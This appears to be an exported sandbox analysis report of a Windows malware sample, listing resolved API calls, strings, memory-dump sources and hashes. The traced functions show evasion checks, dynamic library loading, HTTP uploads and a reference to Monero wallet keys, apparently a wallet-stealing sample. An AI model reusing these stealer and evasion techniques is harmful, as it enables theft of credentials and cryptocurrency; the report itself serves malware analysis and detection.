GetProcAddress.KERNEL32(74DD0000,00E422C0), ref: 006E9995
GetProcAddress.KERNEL32(74DD0000,00E422D8), ref: 006E99AD
GetProcAddress.KERNEL32(74DD0000,00E35B50), ref: 006E99C5
GetProcAddress.KERNEL32(74DD0000,00E42320), ref: 006E99DE
GetProcAddress.KERNEL32(74DD0000,00E42488), ref: 006E99F6
GetProcAddress.KERNEL32(74DD0000,00E35B70), ref: 006E9A0E
GetProcAddress.KERNEL32(74DD0000,00E42338), ref: 006E9A27
GetProcAddress.KERNEL32(74DD0000,00E423B0), ref: 006E9A3F
GetProcAddress.KERNEL32(74DD0000,00E35D70), ref: 006E9A57
GetProcAddress.KERNEL32(74DD0000,00E423C8), ref: 006E9A70
GetProcAddress.KERNEL32(74DD0000,00E35AB0), ref: 006E9A88
LoadLibraryA.KERNEL32(00E42530,?,006E6A00), ref: 006E9A9A
LoadLibraryA.KERNEL32(00E42560,?,006E6A00), ref: 006E9AAB
LoadLibraryA.KERNEL32(00E425A8,?,006E6A00), ref: 006E9ABD
LoadLibraryA.KERNEL32(00E42590,?,006E6A00), ref: 006E9ACF
LoadLibraryA.KERNEL32(00E42548,?,006E6A00), ref: 006E9AE0
GetProcAddress.KERNEL32(75A70000,00E425D8), ref: 006E9B02
GetProcAddress.KERNEL32(75290000,00E42578), ref: 006E9B23
GetProcAddress.KERNEL32(75290000,00E425C0), ref: 006E9B3B
GetProcAddress.KERNEL32(75BD0000,00E42518), ref: 006E9B5D
GetProcAddress.KERNEL32(75450000,00E35DB0), ref: 006E9B7E
GetProcAddress.KERNEL32(76E90000,00E490F8), ref: 006E9B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 006E9BB6

Strings

H%, xrefs: 006E9ADA
8#, xrefs: 006E9A19
X$, xrefs: 006E9894
#, xrefs: 006E99D0
x%, xrefs: 006E9B16
p], xrefs: 006E9A4A
p[, xrefs: 006E9A01
0], xrefs: 006E9926
NtQueryInformationProcess, xrefs: 006E9BAA
`", xrefs: 006E987A
p$, xrefs: 006E98C5
`%, xrefs: 006E9AA5
P[, xrefs: 006E99B8
0%, xrefs: 006E9A93

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: #$0%$0]$8#$H%$NtQueryInformationProcess$P[$X$$`"$`%$p$$p[$p]$x%
API String ID: 2238633743-152105285
Opcode ID: eccdd903d5d6e37485247c1421ebb1495761d4e36900a794e8594fbcfc61cdae
Instruction ID: f38991995ee26b9a88caaa1157bd9e1ffa770b84d8379292fe290d9ba5d66713
Opcode Fuzzy Hash: eccdd903d5d6e37485247c1421ebb1495761d4e36900a794e8594fbcfc61cdae
Instruction Fuzzy Hash: 96A19EB5B3E2409FD344EFA8EE889E637F9F74C310704C55AA605C32A5D6399D42EB12

Function 006D45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 006D460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 006D479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006D4657

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 67003c8eb56187b13cfd0defb1b68fd4b48fbdee34b8808e76e7c03d2af51c39
Instruction ID: 0114b5abe20686a843e51c6e1344dab1923c9bbf99c2ba65172ca28926fd27db
Opcode Fuzzy Hash: 67003c8eb56187b13cfd0defb1b68fd4b48fbdee34b8808e76e7c03d2af51c39
Instruction Fuzzy Hash: D14101247C2608EEE634B7A7A867EBD76575FC3708F535040EB4152FA0CEB069807726

Function 006D4880 Relevance: 33.7, APIs: 11, Strings: 8, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006EA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006EA7E6

Part of subcall function 006D47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006D4839
Part of subcall function 006D47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006D4849

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 006D4915
StrCmpCA.SHLWAPI(?,00E4EAE8), ref: 006D493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006D4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,006F0DDB,00000000,?,?,00000000,?,",00000000,?,00E4EAC8), ref: 006D4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 006D4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 006D4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 006D4E49
InternetCloseHandle.WININET(00000000), ref: 006D4EAD
InternetCloseHandle.WININET(00000000), ref: 006D4EC5
HttpOpenRequestA.WININET(00000000,00E4E9F8,?,00E4E248,00000000,00000000,00400100,00000000), ref: 006D4B15

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

Part of subcall function 006EA920: lstrcpy.KERNEL32(00000000,?), ref: 006EA972
Part of subcall function 006EA920: lstrcat.KERNEL32(00000000), ref: 006EA982

InternetCloseHandle.WININET(00000000), ref: 006D4ECF

Strings

x, xrefs: 006D4BC9
------, xrefs: 006D4C69
", xrefs: 006D4D33
------, xrefs: 006D4B28
H, xrefs: 006D4AFC
------, xrefs: 006D49BD
", xrefs: 006D4BF2
, xrefs: 006D492F

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$H$x$
API String ID: 460715078-1516566845
Opcode ID: 131b8a2e5447635b5ee9fbc3956404e2d8f187b69d7b6d84ce3cd6e738fb7c3a
Instruction ID: d7969bd3236d975f61dae5a2a9ddeaa3c2cffdfd157d03fd2aa887e041691e3b
Opcode Fuzzy Hash: 131b8a2e5447635b5ee9fbc3956404e2d8f187b69d7b6d84ce3cd6e738fb7c3a
Instruction Fuzzy Hash: 2A120C71912258AADB55EB91DC92FEEB33ABF14300F51419DB10662092EF703F49CF6A

Function 006E7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006D11B7), ref: 006E7880
RtlAllocateHeap.NTDLL(00000000), ref: 006E7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 006E789F

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 42c32d53a1117c251bffa1157c88d32d0a47c39f6f571db529be903c2803f66d
Instruction ID: dbb31edb2316b91565102435d2b075c85d558bfbc9892f04c4fd1be329b8866c
Opcode Fuzzy Hash: 42c32d53a1117c251bffa1157c88d32d0a47c39f6f571db529be903c2803f66d
Instruction Fuzzy Hash: A4F04FB1E49248ABC710DF99DD49BAEBBB8EB04711F10425AFA15A2680C7781904CBA2

Function 006D1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 006D116A
ExitProcess.KERNEL32 ref: 006D117E

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 322a9df70df75e3eef6356ca29277dbc770179c89d05c3dc3fd0f69d2099246b
Instruction ID: 800a7988c76eddaca5a7b8dfa33125883a9dc0b3c55f042933f91d965d4dfedf
Opcode Fuzzy Hash: 322a9df70df75e3eef6356ca29277dbc770179c89d05c3dc3fd0f69d2099246b
Instruction Fuzzy Hash: E1D05E74E0530CEBCB00DFE0DC496DDBBB8FB0C321F000595D90562380EA305981CAA6

Function 006E9C10 Relevance: 222.9, APIs: 112, Strings: 15, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00E35B30), ref: 006E9C2D
GetProcAddress.KERNEL32(74DD0000,00E35B10), ref: 006E9C45
GetProcAddress.KERNEL32(74DD0000,00E49640), ref: 006E9C5E
GetProcAddress.KERNEL32(74DD0000,00E49628), ref: 006E9C76
GetProcAddress.KERNEL32(74DD0000,00E49670), ref: 006E9C8E
GetProcAddress.KERNEL32(74DD0000,00E49688), ref: 006E9CA7
GetProcAddress.KERNEL32(74DD0000,00E3B5E0), ref: 006E9CBF
GetProcAddress.KERNEL32(74DD0000,00E4D188), ref: 006E9CD7
GetProcAddress.KERNEL32(74DD0000,00E4D2D8), ref: 006E9CF0
GetProcAddress.KERNEL32(74DD0000,00E4D338), ref: 006E9D08
GetProcAddress.KERNEL32(74DD0000,00E4D1B8), ref: 006E9D20
GetProcAddress.KERNEL32(74DD0000,00E35BD0), ref: 006E9D39
GetProcAddress.KERNEL32(74DD0000,00E35C70), ref: 006E9D51
GetProcAddress.KERNEL32(74DD0000,00E35BF0), ref: 006E9D69
GetProcAddress.KERNEL32(74DD0000,00E35C10), ref: 006E9D82
GetProcAddress.KERNEL32(74DD0000,00E4D170), ref: 006E9D9A
GetProcAddress.KERNEL32(74DD0000,00E4D0F8), ref: 006E9DB2
GetProcAddress.KERNEL32(74DD0000,00E3B6D0), ref: 006E9DCB
GetProcAddress.KERNEL32(74DD0000,00E35C30), ref: 006E9DE3
GetProcAddress.KERNEL32(74DD0000,00E4D308), ref: 006E9DFB
GetProcAddress.KERNEL32(74DD0000,00E4D2C0), ref: 006E9E14
GetProcAddress.KERNEL32(74DD0000,00E4D140), ref: 006E9E2C
GetProcAddress.KERNEL32(74DD0000,00E4D3B0), ref: 006E9E44
GetProcAddress.KERNEL32(74DD0000,00E35C90), ref: 006E9E5D
GetProcAddress.KERNEL32(74DD0000,00E4D290), ref: 006E9E75
GetProcAddress.KERNEL32(74DD0000,00E4D320), ref: 006E9E8D
GetProcAddress.KERNEL32(74DD0000,00E4D350), ref: 006E9EA6
GetProcAddress.KERNEL32(74DD0000,00E4D3E0), ref: 006E9EBE
GetProcAddress.KERNEL32(74DD0000,00E4D278), ref: 006E9ED6
GetProcAddress.KERNEL32(74DD0000,00E4D3C8), ref: 006E9EEF
GetProcAddress.KERNEL32(74DD0000,00E4D1D0), ref: 006E9F07
GetProcAddress.KERNEL32(74DD0000,00E4D110), ref: 006E9F1F
GetProcAddress.KERNEL32(74DD0000,00E4D158), ref: 006E9F38
GetProcAddress.KERNEL32(74DD0000,00E4A8A0), ref: 006E9F50
GetProcAddress.KERNEL32(74DD0000,00E4D128), ref: 006E9F68
GetProcAddress.KERNEL32(74DD0000,00E4D1A0), ref: 006E9F81
GetProcAddress.KERNEL32(74DD0000,00E35CB0), ref: 006E9F99
GetProcAddress.KERNEL32(74DD0000,00E4D1E8), ref: 006E9FB1
GetProcAddress.KERNEL32(74DD0000,00E35A90), ref: 006E9FCA
GetProcAddress.KERNEL32(74DD0000,00E4D200), ref: 006E9FE2
GetProcAddress.KERNEL32(74DD0000,00E4D218), ref: 006E9FFA
GetProcAddress.KERNEL32(74DD0000,00E356B0), ref: 006EA013
GetProcAddress.KERNEL32(74DD0000,00E35750), ref: 006EA02B
LoadLibraryA.KERNEL32(00E4D230,?,006E5CA3,006F0AEB,?,?,?,?,?,?,?,?,?,?,006F0AEA,006F0AE3), ref: 006EA03D
LoadLibraryA.KERNEL32(00E4D380,?,006E5CA3,006F0AEB,?,?,?,?,?,?,?,?,?,?,006F0AEA,006F0AE3), ref: 006EA04E
LoadLibraryA.KERNEL32(00E4D248,?,006E5CA3,006F0AEB,?,?,?,?,?,?,?,?,?,?,006F0AEA,006F0AE3), ref: 006EA060
LoadLibraryA.KERNEL32(00E4D368,?,006E5CA3,006F0AEB,?,?,?,?,?,?,?,?,?,?,006F0AEA,006F0AE3), ref: 006EA072
LoadLibraryA.KERNEL32(00E4D260,?,006E5CA3,006F0AEB,?,?,?,?,?,?,?,?,?,?,006F0AEA,006F0AE3), ref: 006EA083
LoadLibraryA.KERNEL32(00E4D2A8,?,006E5CA3,006F0AEB,?,?,?,?,?,?,?,?,?,?,006F0AEA,006F0AE3), ref: 006EA095
LoadLibraryA.KERNEL32(00E4D2F0,?,006E5CA3,006F0AEB,?,?,?,?,?,?,?,?,?,?,006F0AEA,006F0AE3), ref: 006EA0A7
LoadLibraryA.KERNEL32(00E4D398,?,006E5CA3,006F0AEB,?,?,?,?,?,?,?,?,?,?,006F0AEA,006F0AE3), ref: 006EA0B8
GetProcAddress.KERNEL32(75290000,00E35810), ref: 006EA0DA
GetProcAddress.KERNEL32(75290000,00E4D4B8), ref: 006EA0F2
GetProcAddress.KERNEL32(75290000,00E48FF8), ref: 006EA10A
GetProcAddress.KERNEL32(75290000,00E4D4A0), ref: 006EA123
GetProcAddress.KERNEL32(75290000,00E358F0), ref: 006EA13B
GetProcAddress.KERNEL32(6FE30000,00E3B7E8), ref: 006EA160
GetProcAddress.KERNEL32(6FE30000,00E35970), ref: 006EA179
